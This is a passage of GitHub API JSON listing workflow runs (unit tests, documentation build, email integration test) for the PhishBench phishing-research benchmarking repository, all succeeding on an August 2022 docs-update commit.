url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802890691,"name":"Unit Test","node_id":"WFR_kwLOCLXpC86nELfD","head_branch":"master","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Unit_Test.yml","display_title":"Update docs (#332)","run_number":242,"event":"push","status":"completed","conclusion":"success","workflow_id":4477711,"check_suite_id":7681348307,"check_suite_node_id":"CS_kwDOCLXpC88AAAABydgS0w","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802890691","pull_requests":[],"created_at":"2022-08-05T10:13:53Z","updated_at":"2022-08-05T10:19:13Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:13:53Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681348307","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890691/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/4477711","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802890689,"name":"Build Documentation","node_id":"WFR_kwLOCLXpC86nELfB","head_branch":"master","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Documentation.yml","display_title":"Update docs (#332)","run_number":84,"event":"push","status":"completed","conclusion":"success","workflow_id":13579685,"check_suite_id":7681348299,"check_suite_node_id":"CS_kwDOCLXpC88AAAABydgSyw","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802890689","pull_requests":[],"created_at":"2022-08-05T10:13:53Z","updated_at":"2022-08-05T10:15:41Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:13:53Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681348299","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890689/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/13579685","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802890688,"name":"Email Integration Test","node_id":"WFR_kwLOCLXpC86nELfA","head_branch":"master","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Email_Integration_Test.yml","display_title":"Update docs (#332)","run_number":101,"event":"push","status":"completed","conclusion":"success","workflow_id":12794727,"check_suite_id":7681348300,"check_suite_node_id":"CS_kwDOCLXpC88AAAABydgSzA","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802890688","pull_requests":[],"created_at":"2022-08-05T10:13:53Z","updated_at":"2022-08-05T10:38:05Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:13:53Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681348300","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890688/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794727","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A 